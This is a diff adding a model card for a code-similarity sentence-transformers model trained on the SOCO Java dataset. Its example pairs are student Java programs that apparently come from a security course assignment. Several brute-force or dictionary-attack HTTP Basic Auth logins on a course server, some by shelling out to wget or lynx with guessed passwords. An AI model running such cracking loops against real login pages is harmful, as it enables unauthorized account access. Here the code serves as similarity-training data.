+    \t    String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append(\
+    \ letters[j]).toString();\n\t    String s7 = new StringBuffer().append( letters[j]).append(\
+    \ letters[j]).append( letters[i]).toString();\n\t    String s8 = new StringBuffer().append(\
+    \ letters[j]).append( letters[i]).append( letters[i]).toString();\n\t    String\
+    \ s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();\n\
+    \t    String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append(\
+    \ letters[j]).toString();\n\t    v.add( s5);\n\t    v.add( s6);\n\t    v.add(\
+    \ s7);\n\t    v.add( s8);\n\t    v.add( s9);\n\t    v.add( s10);\n\t }\n     \
+    \ }\n      for( i = 0; i < letters.length - 2; i++)\n      {\n         for( j\
+    \ = i + 1; j < letters.length - 1; j++)\n\t {\n\t    for( k = i + 2; k < letters.length;\
+    \ k++)\n\t    {\n\t       String s11 = new StringBuffer().append( letters[i]).append(\
+    \ letters[j]).append(letters[k]).toString();\n\t       String s12 = new StringBuffer().append(\
+    \ letters[i]).append( letters[k]).append(letters[j]).toString();\n\t       String\
+    \ s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();\n\
+    \t       String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();\n\
+    \t       String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();\n\
+    \t       String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();\n\
+    \t       v.add( s11);\n\t       v.add( s12);\n\t       v.add( s13);\n\t      \
+    \ v.add( s14);\n\t       v.add( s15);\n\t       v.add( s16);\n\t    }\n\t }\n\
+    \      }\n   }\n         \n   public static void main( String[] args)\n   {\n\
+    \      Cracker cr = new Cracker();\n      cr.loadLetters();\n      cr.loadPairs();\n\
+    \      cr.loadTriples();\n      System.out.println(\" far \"+cr.getVictor().size()+\"\
+    \ elements loaded\");\n   }\n}\n      \n"
+- source_sentence: "import java.io.*;\nimport java.net.*;\n\n\n\n\n\n\n\n\n\n\n\n\
+    public class BruteForce\n{\n   private String urlString = \"http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\
+    ;\n   private static String password;\n   private static int length;         \
+    \ \n   private static int t_counter;       \n   private static int f_counter;\
+    \       \n                                       \n   private static int cases;\
+    \           \n                                       \n   private static int respCode;\
+    \        \n\n   public BruteForce()\n   {\n      Authenticator.setDefault(new\
+    \ BruteForceAuthenticator());\n      t_counter = 0;\n      f_counter = 0;\n  \
+    \    cases = 0;\n   }\n\n   public static void main (String[] args)\n   {\n  \
+    \    BruteForce bf = new BruteForce();\n      String file = \" \";\n      while(respCode\
+    \ != 200)\n      {\n         file = bf.fetchURL();\n      }\n      System.out.println(\"\
+    Number of attempts: \" + t_counter);\n      System.out.println(\"Password: \"\
+    \ + password);\n      System.out.println(file);\n   }\n\n   private String fetchURL()\n\
+    \   {\n      StringWriter sw = new StringWriter();\n      PrintWriter pw = new\
+    \ PrintWriter();\n\n      try\n      {\n         URL url = new URL(urlString);\n\
+    \         HttpURLConnection huc = (HttpURLConnection)url.openConnection();\n \
+    \        respCode = huc.getResponseCode();\n         InputStream content = huc.getInputStream();\n\
+    \         BufferedReader in = \n            new BufferedReader (new InputStreamReader\
+    \ (content));\n         String line;\n         while ((line = in.readLine()) !=\
+    \ null) \n         {\n            pw.println(line);\n         }\n      } catch\
+    \ (IOException e) {\n         pw.println(\"Error  URL\");\n      }\n      return\
+    \ sw.toString();\n   }\n            \n   class BruteForceAuthenticator extends\
+    \ Authenticator \n   {\n      private String username = \"\";\n\n      protected\
+    \ PasswordAuthentication getPasswordAuthentication()\n      {\n         return\
+    \ new PasswordAuthentication(username,generatePassword());\n      }\n\n      protected\
+    \ char[] generatePassword()\n      {\n         int i,j,k;\n         int n = 26;\n\
+    \         String letters1 = \"qwertyuiopasdfghjklzxcvbnm\";\n         String letters2\
+    \ = \"abcdefghijklmnopqrstuvwxyz\";\n \n         i=0;\n         j=0;\n       \
+    \  k=0;\n   \n         \n         \n         if(t_counter == 0)\n         {\n\
+    \            length = 1;\n            cases = 0;\n            f_counter = 0;\n\
+    \         }\n         if(t_counter == 2*n)\n         {\n            length = 2;\n\
+    \            cases = 0;\n            f_counter = 0;\n         }\n         if(t_counter\
+    \ == (2*n + 4*n*n))\n         {\n            length = 3;\n            cases =\
+    \ 0;\n            f_counter = 0;\n         }\n\n         char c[] = new char[length];\n\
+    \n         \n         \n         if(length == 1)\n         {\n            if(f_counter\
+    \ == n)\n            {\n               cases++;\n               f_counter = 0;\n\
+    \            }\n            i = f_counter;\n\n         } else if(length == 2)\
+    \ \n         {\n            if(f_counter == n*n)\n            {\n            \
+    \   cases++;\n               f_counter = 0;\n            }\n            i = f_counter/n;\n\
+    \            j = f_counter - i*n;\n\n         } else if(length == 3) \n      \
+    \   {\n            if(f_counter == n*n*n)\n            {\n               cases++;\n\
+    \               f_counter = 0;\n            }\n            i = f_counter/(n*n);\n\
+    \            j = (f_counter - i*n*n)/n;\n            k = f_counter - i*n*n - j*n;\n\
+    \         }\n\n         \n         switch(cases)\n         {\n            case\
+    \ 0:\n               c[0] = letters1.charAt(i);\n               if(length > 1)\
+    \ c[1] = letters1.charAt(j);\n               if(length > 2) c[2] = letters1.charAt(k);\n\
+    \               break;\n            case 1:\n               c[0] = Character.toUpperCase(letters1.charAt(i));\n\
+    \               if(length > 1) c[1] = Character.toUpperCase(letters1.charAt(j));\n\
+    \               if(length > 2) c[2] = Character.toUpperCase(letters1.charAt(k));\n\
+    \               break;\n            case 2:\n               c[0] = Character.toUpperCase(letters1.charAt(i));\n\
+    \               c[1] = letters1.charAt(j);\n               if(length > 2) c[2]\
+    \ = letters1.charAt(k);\n               break;\n            case 3:\n        \
+    \       c[0] = letters1.charAt(i);\n               c[1] = Character.toUpperCase(letters1.charAt(j));\n\
+    \               if(length > 2) c[2] = letters1.charAt(k);\n               break;\n\
+    \            case 4:\n               c[0] = letters1.charAt(i);\n            \
+    \   c[1] = letters1.charAt(j);\n               c[2] = Character.toUpperCase(letters1.charAt(k));\n\
+    \               break;\n            case 5:\n               c[0] = Character.toUpperCase(letters1.charAt(i));\n\
+    \               c[1] = Character.toUpperCase(letters1.charAt(j));\n          \
+    \     c[2] = letters1.charAt(k);\n               break;\n            case 6:\n\
+    \               c[0] = letters1.charAt(i);\n               c[1] = Character.toUpperCase(letters1.charAt(j));\n\
+    \               c[2] = Character.toUpperCase(letters1.charAt(k));\n          \
+    \     break;\n            case 7:\n               c[0] = Character.toUpperCase(letters1.charAt(i));\n\
+    \               c[1] = letters1.charAt(j);\n               c[2] = Character.toUpperCase(letters1.charAt(k));\n\
+    \               break;\n            default:\n               break;\n        \
+    \ }\n\n         f_counter++;\n         t_counter++;\n\n         password = new\
+    \ String(c);\n         return c;\n      }\n   }\n}\n"
+  sentences:
+  - "\n\nimport java.io.*;\nimport java.*;\nimport java.util.StringTokenizer;\n\n\
+    public class Dictionary\n{\n   public static void main(String args[])\n   {\n\
+    \      final String DICT_FILE = \"/usr/share/lib/dict/words\"; \n      String\
+    \ basic_url = \"http://sec-crack.cs.rmit.edu./SEC/2/\";  \n      String password;\n\
+    \      String s = null;\n      int num_tries = 0;\n      \n      try\n      {\n\
+    \         \n         BufferedReader dict_word = new BufferedReader\n         \
+    \                         (new FileReader (DICT_FILE));\n  \n         \n     \
+    \    while((password = dict_word.readLine())!= null)\n         {        \n   \
+    \         try \n            {\n               \n               Process p = Runtime.getRuntime().exec(\"\
+    wget --http-user= --http-passwd=\" + password + \" \" + basic_url);\n        \
+    \      \n               BufferedReader stdInput = new BufferedReader(new \n  \
+    \                   InputStreamReader(p.getInputStream()));\n\n              \
+    \ BufferedReader stdError = new BufferedReader(new \n                     InputStreamReader(p.getErrorStream()));\n\
+    \n               \n               while ((s = stdInput.readLine()) != null)\n\
+    \               {\n                  System.out.println(s);\n               }\n\
+    \                  \n               \n               while ((s = stdError.readLine())\
+    \ != null)\n               {\n                  System.out.println(s);\n     \
+    \          }\n\n               try\n\t       {\n                  p.waitFor();\
+    \ \n               }\n               catch (InterruptedException g)  \n      \
+    \         {\n               }  \n\n               num_tries++;\n             \
+    \     \n               if((p.exitValue()) == 0) \n               {       \n  \
+    \                System.out.println(\"**********PASSWORD IS: \" + password);\n\
+    \t          System.out.println(\"**********NUMBER OF TRIES: \" + num_tries);\n\
+    \                  System.exit(1);\n               }\n            }\n        \
+    \    catch (IOException e)\n            {\n               System.out.println(\"\
+    exception happened - here's what I know: \");\n               e.printStackTrace();\n\
+    \               System.exit(-1);\n            }\n         }\n         \n     \
+    \    System.out.println(\"DICTIONARY BRUTE FORCE UNABLE  FIND PASSWORD\");\n \
+    \        System.out.println(\"**********Sorry, password was not found in dictionary\
+    \ file\");\n         System.exit(1);\n\n      }\n      catch (FileNotFoundException\
+    \ exception)\n      {\n         System.out.println(exception);\n      }\n    \
+    \  catch (IOException exception)\n      {\n         System.out.println(exception);\n\
+    \      }\n   }\n}\n  \n"
+  - "\nimport java.net.*;\nimport java.io.*;\nimport java.util.*;\n\n\npublic class\
+    \ Dictionary {\n\n  public static void main(String args[])\n  {\n  int i,j,k;\n\
+    \  String pass = new String();\n  String UserPass = new String();\n  String status\
+    \ = new String();\n  String status1 = new String();\n  BasicAuth auth = new BasicAuth();\n\
+    \  URLConnection  connect;\n   int start,end,diff;\n  try {\n               URL\
+    \ url = new URL (\"http://sec-crack.cs.rmit.edu./SEC/2/\");\n\n\n\n          \
+    \    start =System.currentTimeMillis();\n\n               BufferedReader dis =\
+    \ new BufferedReader(new FileReader(\"words\"));\n\n\n         while ((pass =\
+    \ dis.readLine()) != null)\n          {\n\n\n              UserPass= auth.encode(\"\
+    \",pass);\n\n              connect = url.openConnection();\n              connect.setDoInput(true);\n\
+    \              connect.setDoOutput(true);\n\n              connect.setRequestProperty(\"\
+    Host\",\"sec-crack.cs.rmit.edu.\");\n              connect.setRequestProperty(\"\
+    Get\",\"/SEC/2/ HTTP/1.1\");\n              connect.setRequestProperty(\"Authorization\"\
+    ,\" \" + UserPass);\n              connect.connect();\n              status =connect.getHeaderField(0);\n\
+    \              status1 = status.substring( 9,12);\n             if (status.equalsIgnoreCase(\"\
+    HTTP/1.1 200 OK\"))\n              {\n              System.out.println(\"Password\
+    \ is \" + pass);\n              end=System.currentTimeMillis();\n            \
+    \  diff = end - start;\n              System.out.println(\"Time Taken = \" + (diff/1000)\
+    \ + \" secs\");\n              System.exit(0);\n              }\n            \
+    \  ((HttpURLConnection)connect).disconnect();\n              connect = null;\n\
+    \            }\n\n            System.out.println(\" match found\");\n\n      \
+    \      dis.close();\n            dis=null;\n\n            connect = null;\n\n\
+    \     }\n\n    catch (MalformedURLException malerr)\n  {\n  System.err.println(\"\
+    Unable  Open URL\" + malerr);\n  }\n\n  catch (Exception ioerr)\n  {\n  System.err.println(\"\
+    Unable  open file\" + ioerr);\n  }\n\n\n\n\n  }\n}"
+  - "\nimport java.net.*;\nimport java.io.*;\nimport java.util.*;\n\n\npublic class\
+    \ Dictionary {\n\n  public static void main(String args[])\n  {\n  int i,j,k;\n\
+    \  String pass = new String();\n  String UserPass = new String();\n  String status\
+    \ = new String();\n  String status1 = new String();\n  BasicAuth auth = new BasicAuth();\n\
+    \  URLConnection  connect;\n   int start,end,diff;\n  try {\n               URL\
+    \ url = new URL (\"http://sec-crack.cs.rmit.edu./SEC/2/\");\n\n\n\n          \
+    \    start =System.currentTimeMillis();\n\n               BufferedReader dis =\
+    \ new BufferedReader(new FileReader(\"words\"));\n\n\n         while ((pass =\
+    \ dis.readLine()) != null)\n          {\n\n\n              UserPass= auth.encode(\"\
+    \",pass);\n\n              connect = url.openConnection();\n              connect.setDoInput(true);\n\
+    \              connect.setDoOutput(true);\n\n              connect.setRequestProperty(\"\
+    Host\",\"sec-crack.cs.rmit.edu.\");\n              connect.setRequestProperty(\"\
+    Get\",\"/SEC/2/ HTTP/1.1\");\n              connect.setRequestProperty(\"Authorization\"\
+    ,\" \" + UserPass);\n              connect.connect();\n              status =connect.getHeaderField(0);\n\
+    \              status1 = status.substring( 9,12);\n             if (status.equalsIgnoreCase(\"\
+    HTTP/1.1 200 OK\"))\n              {\n              System.out.println(\"Password\
+    \ is \" + pass);\n              end=System.currentTimeMillis();\n            \
+    \  diff = end - start;\n              System.out.println(\"Time Taken = \" + (diff/1000)\
+    \ + \" secs\");\n              System.exit(0);\n              }\n            \
+    \  ((HttpURLConnection)connect).disconnect();\n              connect = null;\n\
+    \            }\n\n            System.out.println(\" match found\");\n\n      \
+    \      dis.close();\n            dis=null;\n\n            connect = null;\n\n\
+    \     }\n\n    catch (MalformedURLException malerr)\n  {\n  System.err.println(\"\
+    Unable  Open URL\" + malerr);\n  }\n\n  catch (Exception ioerr)\n  {\n  System.err.println(\"\
+    Unable  open file\" + ioerr);\n  }\n\n\n\n\n  }\n}"
+- source_sentence: "\n\n\n\nimport java.util.*;\nimport java.net.*;\nimport java.io.*;\n\
+    import javax.swing.*;\n\npublic class PasswordCombination\n{\n    private int\
+    \      pwdCounter = 0;\n    private    int  startTime;\n    private String   str1,str2,str3;\n\
+    \    private String   url = \"http://sec-crack.cs.rmit.edu./SEC/2/\";\n    private\
+    \ String   loginPwd;\n    private String[] password;\n    private HoldSharedData\
+    \ data;\n    private char[] chars = {'A','B','C','D','E','F','G','H','I','J','K','L','M',\n\
+    \                            'N','O','P','Q','R','S','T','U','V','W','X','Y','Z',\n\
+    \                            'a','b','c','d','e','f','g','h','i','j','k','l','m',\n\
+    \                            'n','o','p','q','r','s','t','u','v','w','x','y','z'};\n\
+    \n    public PasswordCombination()\n    {\n        System.out.println(\"Programmed\
+    \ by   for INTE1070 Assignment 2\");\n\n        String input = JOptionPane.showInputDialog(\
+    \ \"Enter number of threads\" );\n        if(  input == null  )\n           System.exit(0);\n\
+    \n        int numOfConnections = Integer.parseInt( input );\n        startTime\
+    \ = System.currentTimeMillis();\n        int pwdCounter  = 52*52*52 + 52*52 +\
+    \ 52;\n        password = new String[pwdCounter];\n\n        doPwdCombination();\n\
+    \n        System.out.println(\"Total Number of Passwords Generated: \" + pwdCounter);\n\
+    \        createConnectionThread( numOfConnections );\n    }\n\n    private void\
+    \ doPwdCombination()\n    {\n        for( int i = 0; i < 52; i ++ )\n        {\n\
+    \            str1 = \"\" + chars[i];\n            password[pwdCounter++] = \"\"\
+    \ + chars[i];\n            System.err.print( str1 + \" | \" );\n\n           \
+    \ for( int j = 0; j < 52; j ++ )\n            {\n                str2 = str1 +\
+    \ chars[j];\n                password[pwdCounter++] = str1 + chars[j];\n\n   \
+    \             for( int k = 0; k < 52; k ++ )\n                {\n            \
+    \        str3 = str2 + chars[k];\n                    password[pwdCounter++] =\
+    \ str2 + chars[k];\n                }\n            }\n        }\n\n        System.err.println(\
+    \ \"\\n\" );\n    }\n\n    private void loadPasswords( )\n    {\n        FileReader\
+    \     fRead;\n        BufferedReader buf;\n        String         line = null;\n\
+    \        String         fileName = \"words\";\n\n        try\n        {\n    \
+    \        fRead = new FileReader( fileName );\n            buf = new BufferedReader(fRead);\n\
+    \n            while((line = buf.readLine( )) != null)\n            {\n       \
+    \         password[pwdCounter++] = line;\n            }\n        }\n        catch(FileNotFoundException\
+    \ e)\n        {\n            System.err.println(\"File not found: \" + fileName);\n\
+    \        }\n        catch(IOException ioe)\n        {\n            System.err.println(\"\
+    IO Error \" + ioe);\n        }\n    }\n\n    private void createConnectionThread(\
+    \ int input )\n    {\n        data = new HoldSharedData( startTime, password,\
+    \ pwdCounter );\n\n        int numOfThreads = input;\n        int batch = pwdCounter/numOfThreads\
+    \ + 1;\n        numOfThreads = pwdCounter/batch + 1;\n        System.out.println(\"\
+    Number of Connection Threads Used:\" + numOfThreads);\n        ConnectionThread[]\
+    \ connThread = new ConnectionThread[numOfThreads];\n\n        for( int index =\
+    \ 0; index < numOfThreads; index ++ )\n        {\n            connThread[index]\
+    \ = new ConnectionThread( url, index, batch, data );\n            connThread[index].conn();\n\
+    \        }\n    }\n}  "
+  sentences:
+  - "\nimport java.util.*;\n\n\npublic class Cracker\n{\n   private char[] letters\
+    \ = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o',\
+    \ 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E',\
+    \ 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U',\
+    \ 'V', 'W', 'X', 'Y', 'Z'};\n   private Vector v;\n\n   public Cracker()\n   {\n\
+    \      v = new Vector( 52);\n   }\n   public void loadLetters()\n   {\n      int\
+    \ i;\n\n      for( i = 0; i < letters.length; i++)\n      {\n\t String s = new\
+    \ StringBuffer().append( letters[i]).toString();\n         v.add( s);\n      }\n\
+    \   }\n   public Vector getVictor()\n   {\n      return ;\n   }\n   public void\
+    \ loadPairs()\n   {\n      int i,j;\n\n      for( i = 0; i < letters.length -\
+    \ 1; i++)\n      {\n         for( j = i + 1; j < letters.length; j++)\n      \
+    \   {\n            String s1 = new StringBuffer().append( letters[i]).append(\
+    \ letters[j]).toString();\n\t    String s2 = new StringBuffer().append( letters[j]).append(\
+    \ letters[i]).toString();\n\t    v.add( s1);\n\t    v.add( s2);\n\t }\n      }\n\
+    \      for( i = 0; i < letters.length; i++)\n      {\n         String s3 = new\
+    \ StringBuffer().append( letters[i]).append( letters[i]).toString();\n\t v.add(\
+    \ s3);\n      }\n   }\n   public void loadTriples()\n   {\n      int i, j, k;\n\
+    \      \n      for( i = 0; i < letters.length; i++)\n      {\n         String\
+    \ s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();\n\
+    \t v.add( s4);\n      }\n      for( i = 0; i < letters.length - 1; i++)\n    \
+    \  {\n         for( j = i + 1; j < letters.length; j++)\n\t {\n\t    String s5\
+    \ = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();\n\
+    \t    String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append(\
+    \ letters[j]).toString();\n\t    String s7 = new StringBuffer().append( letters[j]).append(\
+    \ letters[j]).append( letters[i]).toString();\n\t    String s8 = new StringBuffer().append(\
+    \ letters[j]).append( letters[i]).append( letters[i]).toString();\n\t    String\
+    \ s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();\n\
+    \t    String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append(\
+    \ letters[j]).toString();\n\t    v.add( s5);\n\t    v.add( s6);\n\t    v.add(\
+    \ s7);\n\t    v.add( s8);\n\t    v.add( s9);\n\t    v.add( s10);\n\t }\n     \
+    \ }\n      for( i = 0; i < letters.length - 2; i++)\n      {\n         for( j\
+    \ = i + 1; j < letters.length - 1; j++)\n\t {\n\t    for( k = i + 2; k < letters.length;\
+    \ k++)\n\t    {\n\t       String s11 = new StringBuffer().append( letters[i]).append(\
+    \ letters[j]).append(letters[k]).toString();\n\t       String s12 = new StringBuffer().append(\
+    \ letters[i]).append( letters[k]).append(letters[j]).toString();\n\t       String\
+    \ s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();\n\
+    \t       String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();\n\
+    \t       String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();\n\
+    \t       String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();\n\
+    \t       v.add( s11);\n\t       v.add( s12);\n\t       v.add( s13);\n\t      \
+    \ v.add( s14);\n\t       v.add( s15);\n\t       v.add( s16);\n\t    }\n\t }\n\
+    \      }\n   }\n         \n   public static void main( String[] args)\n   {\n\
+    \      Cracker cr = new Cracker();\n      cr.loadLetters();\n      cr.loadPairs();\n\
+    \      cr.loadTriples();\n      System.out.println(\" far \"+cr.getVictor().size()+\"\
+    \ elements loaded\");\n   }\n}\n      \n"
+  - "\nimport java.util.*;\n\n\npublic class Cracker\n{\n   private char[] letters\
+    \ = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o',\
+    \ 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E',\
+    \ 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U',\
+    \ 'V', 'W', 'X', 'Y', 'Z'};\n   private Vector v;\n\n   public Cracker()\n   {\n\
+    \      v = new Vector( 52);\n   }\n   public void loadLetters()\n   {\n      int\
+    \ i;\n\n      for( i = 0; i < letters.length; i++)\n      {\n\t String s = new\
+    \ StringBuffer().append( letters[i]).toString();\n         v.add( s);\n      }\n\
+    \   }\n   public Vector getVictor()\n   {\n      return ;\n   }\n   public void\
+    \ loadPairs()\n   {\n      int i,j;\n\n      for( i = 0; i < letters.length -\
+    \ 1; i++)\n      {\n         for( j = i + 1; j < letters.length; j++)\n      \
+    \   {\n            String s1 = new StringBuffer().append( letters[i]).append(\
+    \ letters[j]).toString();\n\t    String s2 = new StringBuffer().append( letters[j]).append(\
+    \ letters[i]).toString();\n\t    v.add( s1);\n\t    v.add( s2);\n\t }\n      }\n\
+    \      for( i = 0; i < letters.length; i++)\n      {\n         String s3 = new\
+    \ StringBuffer().append( letters[i]).append( letters[i]).toString();\n\t v.add(\
+    \ s3);\n      }\n   }\n   public void loadTriples()\n   {\n      int i, j, k;\n\
+    \      \n      for( i = 0; i < letters.length; i++)\n      {\n         String\
+    \ s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();\n\
+    \t v.add( s4);\n      }\n      for( i = 0; i < letters.length - 1; i++)\n    \
+    \  {\n         for( j = i + 1; j < letters.length; j++)\n\t {\n\t    String s5\
+    \ = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();\n\
+    \t    String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append(\
+    \ letters[j]).toString();\n\t    String s7 = new StringBuffer().append( letters[j]).append(\
+    \ letters[j]).append( letters[i]).toString();\n\t    String s8 = new StringBuffer().append(\
+    \ letters[j]).append( letters[i]).append( letters[i]).toString();\n\t    String\
+    \ s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();\n\
+    \t    String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append(\
+    \ letters[j]).toString();\n\t    v.add( s5);\n\t    v.add( s6);\n\t    v.add(\
+    \ s7);\n\t    v.add( s8);\n\t    v.add( s9);\n\t    v.add( s10);\n\t }\n     \
+    \ }\n      for( i = 0; i < letters.length - 2; i++)\n      {\n         for( j\
+    \ = i + 1; j < letters.length - 1; j++)\n\t {\n\t    for( k = i + 2; k < letters.length;\
+    \ k++)\n\t    {\n\t       String s11 = new StringBuffer().append( letters[i]).append(\
+    \ letters[j]).append(letters[k]).toString();\n\t       String s12 = new StringBuffer().append(\
+    \ letters[i]).append( letters[k]).append(letters[j]).toString();\n\t       String\
+    \ s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();\n\
+    \t       String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();\n\
+    \t       String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();\n\
+    \t       String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();\n\
+    \t       v.add( s11);\n\t       v.add( s12);\n\t       v.add( s13);\n\t      \
+    \ v.add( s14);\n\t       v.add( s15);\n\t       v.add( s16);\n\t    }\n\t }\n\
+    \      }\n   }\n         \n   public static void main( String[] args)\n   {\n\
+    \      Cracker cr = new Cracker();\n      cr.loadLetters();\n      cr.loadPairs();\n\
+    \      cr.loadTriples();\n      System.out.println(\" far \"+cr.getVictor().size()+\"\
+    \ elements loaded\");\n   }\n}\n      \n"
+  - "\n\nimport java.*;\nimport java.io.*;\nimport java.util.*;\n\npublic class BruteForce\n\
+    {\n public final static int TOTAL_TIMES=52*52*52;\n public char[] passwd;\n public\
+    \ static void main(String[] args) throws IOException\n {\n  BruteForce bf=new\
+    \ BruteForce();\n  System.out.println(\" cracking...\");\n   time1=new Date().getTime();\n\
+    \  bf.doBruteForce(time1);\n\t time2=new Date().getTime();\n\tSystem.out.println(\"\
+    Finish cracking.\");\n\tSystem.out.println(\" password found.\");\n  System.out.println(\"\
+    costs \"+(time2-time1)+\" milliseconds\");\n  System.exit(1);\n }\n\n void doBruteForce(int\
+    \ time1) throws IOException\n {\n  passwd=new char[3];\n  Runtime rt=Runtime.getRuntime();\n\
+    \   num=0;\n  for(int i=(int)'z';i>=(int)'A';i--)\n  {\n    if(i==96)\n     i=90;\n\
+    \    passwd[0]=(char)i;\n    for(int j=(int)'z';j>=(int)'A';j--)\n    {\n    \
+    \ if(j==96)\n      j=90;\n     passwd[1]=(char)j;\n     for(int k=(int)'z';k>=(int)'A';k--)\n\
+    \     {\n      if(k==96)\n       k=90;\n      passwd[2]=(char)k;\n      String\
+    \ password=new String(passwd);\n\t\t\ttry\n      {\n\t\t\t\tnum++;\n\n\t\t\t\t\
+    \n\t\t\t\tProcess p=rt.exec(\"lynx -auth=:\"+password+\" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\
+    );\n\t\t\t\t\n\t\t\t\tString ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine();\n\
+    \t      p.destroy();\n\n\t\t\t\tif(ln!=null)\n        \n        if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o')\n\
+    \        {\n\n          System.out.println(password);\n\t\t\t\t\tSystem.out.println(\"\
+    Finish cracking.\");\n\t\t\t\t\tSystem.out.println(ln);\n\t\t\t\t\tSystem.out.println(\"\
+    password is \"+password);\n           time2=new Date().getTime();\n          System.out.println(\"\
+    costs \"+(time2-time1)+\" milliseconds\");\n          System.out.println(\"The\
+    \ number of attempts is \"+num);\n\t\t      System.exit(1);\n        }\n     \
+    \   \n        \n\n      } catch (FileNotFoundException exc) {\n        System.out.println\
+    \ (\"File Not Found\");\n\t\t\t\tk++;\n      } catch (IOException exc) {\n\t\t\
+    \    System.out.println (\"IOException\");\n        k++;\n      } catch (NullPointerException\
+    \ exc) {\n\t\t    System.out.println (\"NullPointerException\");\n        k++;\n\
+    \t  \t}\n\n     }\n    }\n  }\n }\n}\n"
+datasets:
+- buelfhood/SOCO_TRAIN_java
+pipeline_tag: sentence-similarity
+library_name: sentence-transformers
+---
+
+# SentenceTransformer based on microsoft/unixcoder-base-unimodal
+
+This is a [sentence-transformers](https://www.SBERT.net) model finetuned from [microsoft/unixcoder-base-unimodal](https://huggingface.co/microsoft/unixcoder-base-unimodal) on the [soco_train_java](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java) dataset. It maps sentences & paragraphs to a 768-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more.
+
+## Model Details
+
+### Model Description
+- **Model Type:** Sentence Transformer
+- **Base model:** [microsoft/unixcoder-base-unimodal](https://huggingface.co/microsoft/unixcoder-base-unimodal) <!-- at revision c6b7b85380bf4e01309a3cf5e4f686433764d923 -->
+- **Maximum Sequence Length:** 512 tokens
+- **Output Dimensionality:** 768 dimensions
+- **Similarity Function:** Cosine Similarity
+- **Training Dataset:**
+    - [soco_train_java](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java)
+<!-- - **Language:** Unknown -->
+<!-- - **License:** Unknown -->
+
+### Model Sources
+
+- **Documentation:** [Sentence Transformers Documentation](https://sbert.net)
+- **Repository:** [Sentence Transformers on GitHub](https://github.com/UKPLab/sentence-transformers)
+- **Hugging Face:** [Sentence Transformers on Hugging Face](https://huggingface.co/models?library=sentence-transformers)
+
+### Full Model Architecture
+
+```
+SentenceTransformer(
+  (0): Transformer({'max_seq_length': 512, 'do_lower_case': False}) with Transformer model: RobertaModel 
+  (1): Pooling({'word_embedding_dimension': 768, 'pooling_mode_cls_token': False, 'pooling_mode_mean_tokens': True, 'pooling_mode_max_tokens': False, 'pooling_mode_mean_sqrt_len_tokens': False, 'pooling_mode_weightedmean_tokens': False, 'pooling_mode_lasttoken': False, 'include_prompt': True})
+)
+```
+
+## Usage
+
+### Direct Usage (Sentence Transformers)
+
+First install the Sentence Transformers library:
+
+```bash
+pip install -U sentence-transformers
+```
+
+Then you can load this model and run inference.
+```python
+from sentence_transformers import SentenceTransformer
+
+# Download from the 🤗 Hub
+model = SentenceTransformer("buelfhood/SOCO-Java-UnixCoder-Softmax-PairClass-VAST-ep2-bs32-noEval")
+# Run inference
+sentences = [
